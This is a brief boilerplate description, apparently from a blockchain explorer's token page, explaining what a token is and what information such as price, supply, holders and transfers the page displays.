A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.